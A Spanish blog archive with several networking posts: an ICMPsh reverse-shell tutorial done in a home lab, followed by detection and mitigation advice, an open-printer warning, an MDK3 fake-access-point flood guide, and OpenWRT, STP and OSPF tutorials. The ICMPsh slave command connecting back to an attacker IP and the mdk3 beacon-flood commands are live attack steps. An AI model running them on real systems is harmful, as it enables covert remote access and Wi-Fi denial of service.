Que es ICMPsh? Funcionamiento, detección y mitigacion PASO a PASO. Palabra clave [W1nd0ws_B4ckD00r]

Antes que todo un inmenso saludo, un inmenso HOLA_MUNDO a todos los que se toman el tiempo de leer mis artículos, en verdad espero les sean de utilidad ya que los comparto con todo el animo del mundo, después de las palabras de bienvenida vamos a los que nos toca, explicare paso a paso de forma detallada y sencilla que es y como funciona ICMPsh, asi como la forma de mitigar la vulnerabilidad.

Que es una Shell remota, un backdoor (puerta trasera), una shell de conexión inversa, etc… Pues básicamente vienen a ser lo mismo y la definición mas o menos globalizada es:

Es una conexión remota por lo general no autorizada a un sistema informático o infraestructura de red, dando acceso remoto a dicho sistema.

La verdad no es nada nuevo en el mundo de la seguridad, el concepto sigue siendo el mismo, lo que evoluciona es la forma en la que se consiguen esos accesos, desde el mismo programador de alguna App que troyaniza la misma, hasta un SysAdmin que por razones de comodidad deja una puerta trasera para entrar y reparar cosas de forma remota, en esta entrada quiero presentarles ICMPsh, ya tiene varios años de creada pero la considero uno de los backdoors mas sorprendes por varias razones que mas adelante explicare.

Para explicar el funcionamiento y la forma de mitigar el mismo la entrada estará dividida en dos partes, una sera a modo de explicación de conceptos y otra sera totalmente practica usando un entorno virtualizado.

Vamos por partes…

“Jack el destripador”

Que es ICMP?

ICMP (Internet_Control_Message_Protocol) es un hijo del protocolo TCP/IP y es algo así como el vigilante de la red, ya que se encarga de diagnosticar posibles errores y hace de apoyo a otros protocolos, esta definido en el RFC792 y esta claramente especificada la razón por la que fue creado.

Básicamente este protocolo usa diferentes tipos de mensajes ICMP de acuerdo a la condición o circunstancia que sean requeridas. Para entenderlo de una forma un poco sencilla podríamos decir que un paquete ICMP se encapsula dentro de un paquete IP, la estructura seria algo así:

estructura ICMP

En donde vemos claramente 20 bytes (160 bits) para el encabezo IP donde tenemos como campos importantes la direcciones IP de Origen/Destino, pues dentro de ese paquete a modo de sub protocolo esta el paquete ICMP que puede ser de 8 bytes (64bits) en adelante dependiendo el payload que lleve.

Bien en esta entrega vamos a enfocarnos en el campo “Dirección IP origen”“Dirección IP destino” del encabezado IP y en el campo “Tipo de mensaje” del encabezado ICMP

Si fueron lo suficientemente temerarios y le dieron click al enlace que habla de los tipos de paquetes ICMP habrán notado la cantidad abrumadora de tipos de mensajes que puede llevar un paquete ICMP, pero en esta entrega solo nos fijaremos en los tipos de mensaje 8 (Echo Solicitud de eco) y y tipo de mensaje 0 (Echo reply respuesta de eco)

Para comprender mejor el funcionamiento de ICMP vamos a usarlo y analizar las cabeceras con Wireshark, para estos fines tengo el siguiente laboratorio:

Maquina virtual (Windows 7) [Victima] – 10.0.0.14/24 adaptador de red en modo puente

Maquina física (Debian 8) [Atacante] – 10.0.0.5/24

Hagamos un ping normal a la maquina virtual:

ping10004

Ping a la maquina virtual 10.0.0.4

Muy bien ahora vayámonos al Wireshark y veamos que a capturado el tiburón…

capturaping

Ummm interesante, pero porque si solo fueron 10 intentos de ping tenemos 20 capturas en Wireshark?, pues por cada intento de ping (Echo tipo de mensaje 8) tenemos una respuesta (Echo reply tipo de mensaje 0), lo que según las matemáticas dan 10 solicitudes  + 10 respuestas = 20 capturas, y si analizamos un paquete en detalle veremos lo siguiente:

detallerequest

 

Vemos en el encabezado las direcciones de origen y destino en Type alcanzamos a ver un numero 8 que como hemos dicho corresponde a una solicitud de echo (Echo request), y entonces donde esta la respuesta a esta solicitud? pues solo hay que analizar el siguiente paquete:

detalle reply

y del mismo modo si el encabezado vemos las dirección IP de origen y destino, así como el tipo de mensaje 0 (Echo reply)

Bueno, esta es la forma en que normalmente funciona ICMP, en verdad no quería caer en explicaciones tan complicadas, pero si vamos a comprender algo tenemos que hacerlo bien, ademas el titulo dice PASO a PASO, no esperaran un breve paseo verdad?

Ok entendido, pero de donde sale ICMPsh?

Pues precisamente para mi hackear significa llevar las tecnologías mas allá de las fronteras para las que fueron creadas, empujarlas un poco mas de su propósito, realmente ya existían otras herramientas para establecer conexiones remotas pero era necesario tener privilegios administrativos para su ejecución y aquí es donde llega Leidecker y escribe una genial herramienta llamada ICMPsh que a diferencia de otras no necesitaba tener dichos permisos, haciéndose mas limpia y elegante de utilizar, poco después Bernardo Damele la llevo a Python y Nico la compilo para C y Pearl, a ellos el credito y el respeto de la comunidad por su trabajo.

Como todos los backdoor esta herramienta consta de dos partes, una es el Master que es multiplataforma, es decir podemos hacerlo funcionar en tanto en Windows como en sistemas Unix, y la otra es el Slave que funciona solamente en sistemas Windows, hasta ahora en todas sus versiones, como instalare el Master en mi sistema Debian, clonare el repositorio y lo haré correr desde la terminal con los siguientes comando:

sudo apt-get install python-impacket              #Librería necesaria
git clone https://github.com/inquisb/icmpsh.git   #Clonamos el directorio
cd icmpsh/                                        #Nos movemos al directorio

Una vez nos posicionamos en el directorio tenemos varias formas de lanzar la herramienta, una es ejecutando el script run.sh la cual es mas bonito y todo y sale una interfaz dándote la bienvenida y pidiéndote amablemente la dirección IP de la victima, etc…

runsh

La cual esta muy bonita la verdad pero prefiero tirar un comando por mi cuenta en la terminal, utilizando el verdadero código detrás de la herramienta..

lanzamiento

Esto pone mi maquina a la escucha esperando conexiones entrantes desde la 10.0.0.15, pero como sabrán no entrara ninguna conexión si no conseguimos ejecutar icmpsh.exe en la victima con los parámetros adecuados, así que el como se los dejare a ustedes esto exclusivamente didáctico, así que continuamos. En la maquina victima navegamos hasta el directorio donde tenemos icmpsh (en mi caso lo deje en el Desktop)

navegar y ejecutar

y ejecutamos:

icmpsh.exe -t 10.0.0.14 -d 500 -b 30 -s 128

Donde:

-t es la dirección ip del atacante con la que queremos conectar
-d es el delay en milisegundos entre peticiones                                                                              -b es el numero limite de solicitudes sin responder antes de cerrar la conexión                     -s Es el tamaño máximo de data que podemos enviar en cada petición

Luego de esto solo es esperar la conexión con una taza de café…

conectado

A todo esto hay que aclarar que tengo wireshark detrás monitoreando las interfaces con un filtro icmp para que solo veas esas peticiones, así que para probar que tenemos una shell remota (aunque es obvio la estamos viendo en la terminal) vamos a lanzar un inofensivo “dir” para listar los directorios en la maquina remota:

dir

paquete ICMP con el comando DIR

Recuerdan que mas arriba los paquetes ICMP tipo 0 y 8 llevaban 48 bytes de data? Eso porque el payload normalmente es el abecedario y los números del 0 al 9, pero en este caso solamente vemos 4 byte y se puede ver en el payload el comando que acabo de mandar, este comando genera al conectar con el Slave de icmpsh me devuelve otro paquete que luce así:

respuestay advertencia

Con un payload de 148 bytes y el listado de los directorios y volúmenes en la maquina comprometida, mostrándome en mi pantalla esto:

un simple dir

Y así es como me hago de una shell remota en una maquina con cualquier versión de windows, y quizás muchos se pregunten:

Pero que hay del firewall, y las restricciones administrativas para los usuarios, los antivirus, etc….?

Y la respuesta es:

hltpgs

El asunto es que como el payload viaja por un protocolo que todos los sistemas de proteccion consideran seguro ninguno se preocupa en bloquear la amenaza, no se necesitan privilegios de administrador para ejecutar el slave, si el admin bloquea el uso del cmd igual pueden escribirse un .txt y hacerlo .bat (de hecho en el directorio de la maquina virtual me hice unos cuantos para probar y funcionan sin problemas), entonces viene aqui la gran interrogante…

Como protegerse de icmpsh.

Bien, veamos la captura de cuando solicite la lista de directorios en la maquina comprometida:

respuestay advertencia

Si en el comportamiento normal de un paquete ICMP 8 & 0 el payload suele ser de 48 bytes, podemos crear una alerta en wireshark para cualquier tamaño superior a los 48 bytes llame un script (previamente LUA instalado claro) que genere una alerta….

Un momento pero se puede ajustar el tamaño del buffer de data y lo que haria seria picar el payload en trocitos y pasarlo de poco en poco para que no genere alertas…. Joder…!!! yo contra mi mismo.

Ya en serio, esto podría mitigarse fácilmente creando un ACL que permita los mensajes ICMP desde una sola maquina (la del administrador de la red), en realidad es sencillo defenderse, pero es un ataque que generalmente uno no espera. Otra opción seria instalar algun IDS/IPS como Snort y configurar la detección de payloads para que examine que el payload de ICMP lleve lo que deba llevar.

Gracias por su tiempo en leerme, espero les guste la entrada, por favor compartan y ayúdenme a llegar a mas gente, abajo les dejo los enlaces de interés.

 

Enlaces de interés.

ICMPSH Git

IDS/IPS Snort

Lua Wireshark

 

 

Anuncios

Impresoras inalambricas, quizás un agujero en tu red.

Pues para ser sincero hay que decir, que la llegada de la tecnología 802.11 ha cambiado la forma en que usamos la tecnología, nos ha liberado de los cables y nos ha permitido hacer cualquier de cualquier rincón nuestra esquina en el ciberespacio. También es cierto que a la llegada de WEP y su posterior muerte culpa de su cifrado RC4 marcaron una etapa en la inseguridad de todas las redes inalambricas, hasta que al fin por alla por el 2004-2005 WPA2 fue ratificada como la norma de seguridad a ser usadas para entornos inalambricos y desde entonces el estándar 802.11i ha sido el equivalente al candado definitivo para nuestras redes.

Cabe aclarar sin embargo que la frase “totalmente seguro” no debe ser empleada jamas en el ámbito de la seguridad informática ya que es posible vulnerar 802.11i a base de capturar el HandShake y pasarlo por fuerza bruta para lograr encontrar el valido, así como hacerle fuerza bruta a WPS y sus combinaciones de pin, pero quiero darle un giro distinto a la seguridad de estas redes y mostrarles un nuevo agujero que quizás pase muy desapercibido para algunos administradores de red, pero que esta ahí, esperando a ser explotado.

Impresoras Inalambricas.

Generalmente cuando tenemos una impresora en la red bastaría con una poca configuración para poder compartirla con todas las estaciones y dependiendo del protocolo que utilicen estas representan riesgos en mayor o menor medida, solo basta recordar un poco cuando  Netbios y su puerto 139 TCP causo muchos dolores de cabeza a los administradores de redes, pero luego todo mejoro, llego SMB y el sol volvió a brillar en lo alto del cielo, luego llego HP con sus impresoras inalambricas que ofrecían mayor flexibilidad, mejor integración con su servicio e-print que permitía imprimir desde el smartphone, y muchas características que a la verdad mejoran la forma en la que nos desenvolvemos, pero… y la seguridad que?

Pues estas impresoras en algunos de sus modelos vienen con dos NIC, una de ellas Ethernet y la otra Wireless y aqui es donde viene la cosa, la interfaz wireless de manera predeterminada viene “Open” es decir sin método de autenticacion, y en mas de una ocasión al conectarme a la impresora he podido acceder a servicios como Internet, recursos compartidos como carpetas publicas, etc…

Impresora inalambrica sin seguridad.

Impresora inalambrica sin seguridad.

Dejando así un agujero en la pared por donde podríamos intentar muchas cosas mas, las recomendaciones:

  • Consultar con el fabricante las configuraciones predeterminadas de cada periférico que agreguemos a nuestra red.
  • Asegurar las impresoras inalambricas con seguridad WPA2 y contraseña lo suficientemente larga.
  • No compartir recursos sin alguna forma de autenticacion previa.
  • Y esta demas, pero si no es necesario para que usar estos perifericos, recuerden que se pueden compartir impresoras cableadas con dispositivos inalambricos usando SMB.

Saludos respetados blogueros y hasta una próxima entrega. Y recuerden si te gusta mi entrada comparte y permitirme llegar a mas personas.

Como instalar OpenWRT en VirtualBox

Saludos blogueros y lectores.

En esta ocacion quiero hablarles un poco sobre OpenWRT y sus maravillosas funcionalidades. Quizás mas de uno no haya escuchado mucho sobre esta distribución Linux asi que vamos a darle unas pinceladas.

¿Que es OpenWRT?

Pues según Wikipedia:

Es una distribución de Linux basada en firmware usada para dispositivos empotrables tales como routers

Y ya!!

No es mas complicado que eso, dicho de otra forma es una forma de llevar todo el poder de Linux a nuestro router domestico, quitando así sus posibles limitantes. Es justo mencionar que a pesar de los esfuerzos no todos los dispositivos son soportados, aquí un listado de los dispositivos soportados y como no es tan sencillo conseguir dispositivos para hacer pruebas considero lo mas idoneo tirar de nuestras maquinas virtuales y emular para conseguir practicar todo lo que queramos, así que manos a ello!!

Instalando OpenWRT en una maquina virtual

1.- Pues lo primero que necesitamos es tener instalado algún virtualizador, yo recomiendo VirtualBox de Oracle, asi que vamos a instalarlo..

Si usas windows:

a.- Ve al website oficial y descarga la version segun tu sistema operativo.

Descargar VirtualBox

b.- Ejecuta el instalador y listo (mas o menos asi se instala en windows, si me falta algo pues a Google chicos!!)

Su usas Linux:

a.- Dependiendo de tu distro es muy posible que VirtualBox este disponible desde el mismo gestor de software, así que solo es buscarlo e instalarlo.

b.- Podríamos instalarlo desde la terminal con el siguiente comando:

sudo apt-get install virtualbox-qt

2.- Luego de instalar VirtualBox y estar seguro que funciona correctamente entonces procedemos a descargar una imagen VDI de OpenWRT, la cual podemos conseguir desde este enlace:

Virtual Disk Image de OpenWRT

3.- Después de descargar la imagen VDI entonces procedemos a configurar VirtualBox para agregar nuestra nueva maquina virtual.

a.- Lo primero es abrir VirtualBox (que obvio no?)

No se confundan con las demás maquinas virtuales, eso es parte mis estudios y como sabrán no las iba a eliminar para la captura.

b.- Luego clickeamos en “Nueva”, con los que nos saldrá algo parecido a esto:

Aquí debemos configurar tal y como aparece en la imagen (menos por el nombre, que puede ser el que gusten)

c.- Luego ajustamos la memoria RAM, dependiendo de la cantidad de memoria en sus equipos pueden dejarla tal cual (256MB)

d.- Este punto es muy importante, al momento de seleccionar el disco Duro debemos elegir la opción de “Usar un archivo de disco duro virtual existente” y elegimos la imagen previamente descargada.

e.- Al final necesitaremos conectividad con el mundo exterior con lo que debemos configurar la red de la siguiente forma:

Compartiendo así nuestra conexión activa.

f.- Luego vamos la casilla de puertos seriales y lo configuramos de la siguiente manera:

Y listo!! Al iniciar nuestra maquina virtual el sistema cargara de forma normal y al final quedara una pantalla como esta:

Desde donde podremos comenzar a probar, testear, configurar un sin fin de cosas como:

Un servidor de impresión
Cliente bittorrent
Servidor FTP
Servidor Web
Servidor VPN
Crear VLANs

Entre otras mas. Es muy importante probar la conexión con nuestra puerta de enlace, y debe bastar con hacerle ping a la dirección interna de nuestra puerta de enlace, en mi caso seria:

ping 192.168.1.1

Y se obtiene esto:

Esto es todo por ahora distinguidos blogueros, nos vemos en una próxima entrega, si te ha parecido útil comparte y ayúdame a crecer como blog.

¿Que es STP y para que sirve?

Pues aquí les dejo un humilde aporte que escribí, para seguir alimentando ese monstruo sediento de conocimiento que todos llevamos dentro, en esta ocasión quiero hablarles sobre STP, así que vamos a ello, primero vamos a definir…

¿QUE ES STP?

Pues si hacemos una búsqueda usando simplemente las siglas STP nos llegaran resultados desde todos los confines del mundo, por ejemplo:

  • Sistemas de Transacciones y Pagos.
  • STP marca de aceites y aditivos para carreras (“Scientifically Treated Petroleum”)
  • Incluso una gira magnifica de los Rollings Stones llamada Stones Touring Party

Pero en el ámbitos de redes informáticas todos coincidiremos con que STP significa Spanning Tree Protocol(Protocolo de árbol de expansión) y este se encarga de reconocer y administrar bucles en topologias de redes nacidos a función de la redundancia en la misma.


Tranquilos que todo viene de forma clara…

Vamos a dar algunos matices necesarios para comprender de que va este protocolo:

Bucle: Un bucle en sentido general es un ciclo que se repite indefinidamente hasta que uno de los elementos que lo mantiene desaparezca, en programacion por ejemple existen bucles de que se repiten hasta que una condición se cumpla o deje de cumplirse.

Redundancia: La redundancia tiene que ver con asegurar la alta disponibilidad de los recursos en un sistema informático, ya sea duplicando enlaces, servidores, datos, etc.. En este caso como hablamos de redes informáticas se usara la palabra redundancia para referirnos a enlaces redundantes y dispositivos de conmutación redundantes.

¿Como funciona STP?

Pues es una practica común que en el diseño de la topologia de una red se agreguen enlaces redundantes con el fin de hacer la red tolerable a fallas y de esta forma si falla un enlace la red tiene la capacidad de recuperarse inmediatamente sin que el usuario ni siquiera sienta la falla, por ejemplo:

Topologia de red con bucles.

En la imagen anterior podemos ver como tenemos dos posibles rutas para llegar desde PC1 hasta PC2, estas son:

*PC1–S1–S3–PC2

*PC1–S1–S2–Switch3–S3–PC2

Si es bien es cierto que esta practica nos asegura una alta disponibilidad en la red que administramos también es cierto que tiene un lado negativo y son los bucles de switching, tramas duplicadas y tormentas de difusión que pueden llegar incluso a colgar todo un segmento de red, vamos a tratar de definir que significan estos conceptos.

Bucles de switching.

(Explicación técnica)

Un bucle de switching son bucles físicos en dispositivos de capa 2 donde una trama puede quedar atrapada en la red indefinidamente consumiendo ciclos de CPU y ancho de banda hasta convertirse en una tormenta de difusión.

(Explicación sencilla)
Recuerdan la imagen anterior? Imaginen que esos dispositivos empiezan a enviar tramas duplicadas unos a otros indefinidamente, eventualmente la cantidad de trafico aumentara de forma exponencial y terminara por colapsar.

Tormentas de difusión. (Broadcast Storm)

Es cuando la cantidad de trafico excede la capacidad que tiene la red para procesar y reenviar tramas causando así una denegación de servicio local (primera vez que utilizo este termino, suena bien 8) )

Tramas duplicadas

Pues no hay mucho que explicar, son tramas de difusión que se multiplican en los switches debido a su comportamiento normal.

Aquí es donde los listos preguntan: ¿Por que se duplican las tramas?

Sigue la tanda de aclaraciones..:

Mensaje de difusión (Broadcast Mesagge): es un mensaje que tiene por destino todos los dispositivos de una red, existen protocolos que necesitan de estos mensajes para poder funcionar, por ejemplo ARP (Address Resolution Protocol), DHCP (Dynamic Host Control Protocol), entre otros.

Switch de capa 2: Un switch de capa 2 es un dispositivo de conmutación que no entiende de direcciones IP, tampoco de enrutamiento y que solo se maneja con direcciones físicas de capa 2 (direcciones MAC). Bien, atención que esto es muy importante 😮 :

Si un switch de capa 2 recibe un mensaje de difusión por una de sus interfaces su comportamiento normal es que reenvíe el mismo mensaje por todos sus puertos excepto por donde lo recibió (Aquí es donde sucede el duplicado de tramas) 

Teniendo esto en cuenta imaginen la topologia anterior y piensen en un mensaje broadcast enviado desde PC1 hacia la red, pues como parte de su comportamiento S1 lo reenviara a S2 y S3 y estos posteriormente enviaran una trama duplicada a Switch3 que hará el reenvio de 2 tramas duplicadas a S2 y S1 y voila!!! Comenzó el juego sin final donde el trafico ira aumentando exponencialmente hasta consumir todo el ancho de banda disponible y los ciclos de CPU dejando la red “useless” inservible.

Como evitar que ocurra todo esto…

La respuesta esta en 3 consonantes: STP

¿Cuales son los super-poderes de STP?

Pues este protocolo analiza la topologia y corta los posibles bucles que se puedan presentar creando algo parecido a un árbol (de ahí el nombre) por ejemplo en la siguiente imagen STP se dio cuenta de que existe un bucle en la topologia y bloqueo uno de los puertos en S2 de forma automática.


Para lograr esto todos los switches en una red configurada con STP realizan el siguiente proceso:

1.- Eligen un Puente raiz (Bridge Root) algo asi como el Switch jefe, lo hacen intercambiando BPDU (Bridge Protocols Data Unit) para determinar quien tiene el menor BID (Bridge ID)

2.- Luego de saber quien es el jefe se configuran los puertos en tres posibles tipos
a.- Puerto raiz (Es el puerto por donde se podrá alcanzar el Switch jefe)
b.- Puerto designado (Es un puerto que funcionara de forma normal reenviando tramas y                BPDU)
c.- Puerto bloqueado (Este quedara en modo bloqueado rompiendo así el bucle, mas sin                embargo si falla un enlace STP lo habilitara para que la red pueda seguir funcionando
d.- Puerto perimetral (Este es un puerto que conecta a dispositivos finales y por lo tanto no              necesita correr STP)

3.- Los switch se mantienen enviando pequeñas BPDU cada 2 segundos con paquetes hello temporizados para estar alerta de cualquier cambio en la topologia de la red.

Como configurar STP

Pues por suerte para nosotros STP viene activado por default en la mayoría de los Switches de capa 2, independientemente del fabricante (CISCO, JUNIPER, etc..) por lo que no es necesario tirar de muchos comandos, pero si se nos da el caso de encontrarnos con un entorno conmutado sin STP (Lo cual seria super raro) podríamos hacerlo de la siguiente forma:

Para CISCO

Switch>enable
Switch#configure terminal
Enter configuration commands, one per line.  End with CNTL/Z.
Switch(config)#spanning-tree vlan 1

Para Juniper

user@switch# set stp interface all

Eso es todo por ahora distinguidos lectores.

¿Que es MDK3? y ¿Para que sirve?

Pues un poco aburrido en el trabajo me dio por trastear un poco con MDK3 y me decidí por compartir un poco de info con ustedes, así que a aqui les va.

MDK3

MDK3 es una herramienta usada para la seguridad wireless que usualmente viene pre-empaquetada en distros como Kali_Linux y la difunta Backtrack, no estoy seguro de si es posible instalarla via repositorios, pero es posible descargar el tarball desde aqui, este programa tiene una gran cantidad de opciones que permiten su uso de una forma flexible, esta aplicación saca ventaja de vulnerabilidades en el estándar 802.11 y debe ser usada solamente para pruebas de seguridad en un lab propio con fines educativos.

Pues que tal si nos ponemos manos a la obra.

Si estas usando Kali o derivadas puedes saltarte este paso, ya que de seguro esta entre tus paquetes.

INSTALACIÓN:

1- Nos descargamos el tarball desde el enlace descrito mas arriba.
2- Lo descomprimimos en algún lugar de nuestra carpeta personal.
3- Nos movemos hasta el lugar donde descomprimimos el tarball y hacemos:

make

sudo make install

Luego de eso ya estará instalado y bastaría con hacerle un simple llamado como super usuario:


USO DE MDK3

MDk3 tiene muchas formas de posible uso, así que si me enfocara en todas y cada una creo que haría esto mas largo de la cuenta (sin contar que ando corto de tiempo) así que por ahora tratare solo una forma de usarlo, con la promesa de que esta solo es la primera entrega de varias.

LLENANDO EL AIRE DE PUNTOS DE ACCESO FALSO

Aquí vamos a llenar el aire de puntos de acceso falsos usando la opción -b de Beacons, el asunto aquí es saturar el aire de tramas para limitar el acceso a los recursos de la red, algo así como: “Pero que coño le pasa a mi WiFi…” también conocido como Denegación de Servicio “DoS

a) Primero necesitamos saber las interfaces de red de nuestro equipo, ya que para este ataque necesitamos una interfaz en modo promiscuo (monitor mode), y la forma mas idónea para saber lo que tenemos es tipeando en la terminal:

iwconfig

b) Como se puede observar en la figura anterior no tengo ninguna interfaz en modo monitor (imagino que tampoco ustedes) asi que voy a crear una.

sudo airmon-ng start wlan0

Solo para estar seguros la verificamos:

iwconfig

Y ahi esta nuestra interfaz de la tarjeta en modo promiscuo “mon0”

C) El siguiente paso es lanzar el ataque de crear Ap falsos, y aqui podriamos hacerlo de dos formas distintas, podrias hacer que MDK3 genere los nombres de AP al azar y de modo aleatorio, ejecutando:

sudo mdk3 mon0 b 

O bien podriamos pasarle algun archivo de extension “txt” para que tome los nombres de ahi, por ejemplo primero creamos el archivo con los nombres:

Luego ejecutamos:

sudo mdk3 mon0 b -f /home/cl0udswx/Software/mdk3-v6/nombresAP

Incluyendo la ruta del archivo creado, lo que hara que MDK3 comience a generar AP falsos con los nombres detallados en el mismo.

Esto genera problema para la asociación y autentificacion de los host, así como inestabilidad en la red.

Esto fue un breve paseo por esta maravillosa herramienta, en próximas entregas estaremos ampliando un poco mas sobre el tema, hasta entonces.

Conmutación a la nube

Conmutación en las alturas…

Blog de JoseMPelaez

En la entrada previa comenté un par de informaciones periodísticas sobre dos materias técnicas que creo que van a representar un papel muy relevante en el futuro de internet: la banda ancha sin cables (Wi-Fi 2.0, ya sea TV white space o WiMAX) y la computación distribuida (grid computing). En ésta trato de aclarar los distingos entre las informáticas de la "cuadrícula" y de la "nube", además de referirme a algunas desventajas y ventajas de la segunda.

grid-supercollider-diagram

El reportaje de El Periódico vinculado el miércoles equiparaba los conceptos de grid y cloud computing al decir: 

«El grid es un software que permite no solo acceder a páginas web, como ahora cuando se navega por internet, sino también registrar datos en una nube de ordenadores dispersos por todo el mundo e incluso utilizarlos para hacer cálculos (de ahí lo de computación por nubes, otra denominación de la tecnología grid)…

Ver la entrada original 1.164 palabras más

Como configurar OSPF de área única (OSPF Single Area) desde cero.

Muy buenas queridos blogueros y visitante que nos lee, en esta ocasión quiero traerles un pequeño tutorial de como configurar OSPF de área única en un entorno CISCO, no es nada del otro mundo pero aun así tratare de hacerlo lo mas claro posible, así que manos a la obra..!!

OSPF

¿Que es OSPF?

OSPF es un protocolo de enrutamiento dinámico de estado de enlace que utiliza el Algoritmo de Dijkstra para elegir la mejor ruta posible…

Tranquilos que yo tampoco lo pille la primera vez que me lo dijeron, asi que vamos a definirlo en lenguaje de humanos. En el mundo del networking los router deben “enrutar” de la mejor manera posible los paquetes que viajan aun destino cualquiera, para saber cual es el mejor camino deben usar algo asi como un mapa (tabla de enrutamiento) el cual contiene todas las posibles rutas para que el paquete llegue a su destino, este “mapa” debe ser alimentado constantemente, actualizado, anunciado, etc… y se pueden imaginar el labor que significaría eso para cualquier administrador de red, y es entonces donde entran en juego “Los protocolos de enrutamiento dinámico” que logran de forma dinámica y muy rapida alimentar los mapas de todos los routers en un area determinada.

Cabe aclarar que cuando digo “routers” no me refiero al pequeñito que tenemos en nustras casas, me refiero a grandes routers que mueven mucho trafico entre redes extensas (WAN), asi que cambien la imagen en sus mentes…

OSPF utiliza el algoritmo de Dijkstra para determinar cual es el mejor camino para enviar un paquete a través de la red, lo hace basándose en una métrica (costo) que a su vez depende del ancho de banda del enlace (esto sera un poco complicado :-\ ). Cada enlace (caminos) tiene un costo asignado y la meta de OSPF es elegir el camino que tenga el costo mas barato. En la siguiente animación se muestra como OSPF decide cual es el mejor camino para llegar de A hasta B

Algoritmo SPF en funcionamiento.

Bueno, de protocolos de enrutamiento dinámico podríamos pasar una larga tarde hablando pero ese no es el caso, ya que aquí hablaremos estrictamente de OSPF y como configurar.

¿Como se hace funcionar?

Pero antes unos cuantos puntos…

OSPF tiene dos versiones, una para IPv4 (OSPF2) y la otra para IPv6 (OSPF3) aquí vamos a configurar OSPF2

Recursos necesarios:

||| GNS3 funcionando.
||| Imagen del IOS de algún router (recomiendo la del modelo 3745)
||| Bloque de direcciones mayor 192.168.1.1/24 (en mi caso ya he creado 6 subredes para la topologia, así que a practicar un poco sobre subneting chicos!!)
||| A cada router deben agregarle una tarjeta de interfaces seriales para los enlaces WAN.

Les he preparado una pequeña topologia en GNS3 para mostrarles de que va y como se configura.

Topologia GNS3

Configuramos el direccionamiento en el Router A de la siguiente manera…

R1#ena   
R1#conf t                                                                                                 #Entramos en el modo configuración global
Enter configuration commands, one per line.  End with CNTL/Z.
R1(config)#int fa0/0                                                                                #Llamamos la interfaz
R1(config-if)#ip add
R1(config-if)#ip address 192.168.1.1 255.255.255.224                         #Asignamos dirección IP y la mascara
R1(config-if)#no shutdown                                                                     #Encendemos la interfaz
R1(config-if)#
*Mar  1 00:10:58.147: %LINK-3-UPDOWN: Interface FastEthernet0/0, changed state to up
*Mar  1 00:10:59.147: %LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthernet0/0, changed state to up
R1(config-if)#exit
R1(config)#inte
R1(config)#interface se                                                                             #Llamar interfaz
R1(config)#interface serial 0/0
R1(config-if)#ip add
R1(config-if)#ip address 192.168.1.97 255.255.255.224                         #Asignar dirección IP y mascara 
R1(config-if)#no shu                                                                                 #Encendemos la interfaz
R1(config-if)#
*Mar  1 00:25:25.187: %LINK-3-UPDOWN: Interface Serial0/0, changed state to up
R1(config-if)#
*Mar  1 00:25:26.191: %LINEPROTO-5-UPDOWN: Line protocol on Interface Serial0/0, changed state to up
R1(config-if)#
*Mar  1 00:25:53.427: %LINEPROTO-5-UPDOWN: Line protocol on Interface Serial0/0, changed state to down
R1(config-if)#interface serial 0/1                                                           #Llamamos la interfaz
R1(config-if)#ip address 192.168.1.190 255.255.255.224                    #Asignamos la direccion IP y la mascara
R1(config-if)#no shu                                                                             #Encendemos la interfaz
R1(config-if)#
*Mar  1 00:26:24.663: %LINK-3-UPDOWN: Interface Serial0/1, changed state to up
*Mar  1 00:26:25.663: %LINEPROTO-5-UPDOWN: Line protocol on Interface Serial0/1, changed state to up
R1(config-if)#exit
*Mar  1 00:26:53.427: %LINEPROTO-5-UPDOWN: Line protocol on Interface Serial0/1, changed state to down

Ahora vamos a configurar OSPF en el mismo Router…

R1(config)#router ospf 1                                                                #Entramos en la configuración de OSPF y asignamos un ID
R1(config-router)#router-id 1.1.1.1                                                #Asignamos un ID al router (No es una direccion IP)
R1(config-router)#network 192.168.1.169 0.0.0.31 area 0   #Declaramos las redes, wildcard mas y su área (área única, recuerdan..?)
R1(config-router)#network 192.168.1.0 0.0.0.31 area 0               #Declaramos las redes que queremos anunciar a los routers vecinos
R1(config-router)#network 192.168.1.96 0.0.0.31 area 0             #Declaramos las redes que queremos anunciar a los routers vecinos
R1(config-router)#end

Por ultimo guardamos el archivo de ejecución en el archivo de inicio, para evitar perder las configuración tras algún reinicio inesperado.

R1#copy running-config startup-config
Destination filename [startup-config]? 
Building configuration...
[OK]
R1#

Ya esta configurado el Router A, pero antes de seguir cabe hacer unas aclaraciones:

Los enlaces WAN solo se levantan cuando se encienden ambos lados del enlace, por eso cuando hacemos un “no shutdown” a un enlace WAN este se muestra UP:

*Mar 1 00:25:26.191: %LINEPROTO-5-UPDOWN: Line protocol on Interface Serial0/0, changed state to up

Y luego down…

*Mar 1 00:25:53.427: %LINEPROTO-5-UPDOWN: Line protocol on Interface Serial0/0, changed state to down

Por razones de rendimiento en la red los protocolos de enrutamiento dinámico se configuran por áreas especificas, de esa forma si ocurre un problema en una área de la red esta no afecta el resto, esta es la razón por la que al declarar una red debemos especificar el área:

R1(config-router)#network 192.168.1.96 0.0.0.31 area 0

Cada router corriendo OSPF en un área determinada debe tener un ID para poder identificar a sus vecinos y ser identificados, una ID de router es un valor decimal de 32 bits muy similar a una dirección IP (casi idéntico) pero no tiene relevancia en el proceso de enrutamiento, es decir NO FUNCIONA como una dirección IP. “Se parece pero no es”

Dicho esto vamos a realizar las configuraciones en el Router B (En el primer ejemplo comente todos los comandos para que hagan de referencia para el resto del tutorial, asi que de aquí en adelante no los comentare)

Configuramos el direccionamiento en el Router B

R2#ena
R2#conf t
Enter configuration commands, one per line.  End with CNTL/Z.
R2(config)#int fa0/0
R2(config-if)#ip add
R2(config-if)#ip address 192.168.1.33 255.255.255.224
R2(config-if)#no shu
R2(config-if)#
*Mar  1 00:17:12.331: %LINK-3-UPDOWN: Interface FastEthernet0/0, changed state to up
*Mar  1 00:17:13.331: %LINEPROTO-5-UPDOWN: Line protocol on Interface FastEthernet0/0, changed state to up
R2(config-if)#int se 0/1                             
R2(config-if)#int se 0/0
R2(config-if)#ip add
R2(config-if)#ip address 192.168.1.126 255.255.255.224
R2(config-if)#no shu
R2(config-if)# 
*Mar  1 00:18:36.135: %LINK-3-UPDOWN: Interface Serial0/0, changed state to up
R2(config-if)#
*Mar  1 00:18:37.139: %LINEPROTO-5-UPDOWN: Line protocol on Interface Serial0/0, changed state to up

Procedemos a configurar nuestro proceso OSPF…

R2(config-if)#router ospf 1
R2(config-router)#router-id 2.2.2.2
R2(config-router)#network 192.168.1.32 0.0.0.31 area 0
R2(config-router)#network 192.168.1.96 0.0.0.31 area 0
R2(config-router)#
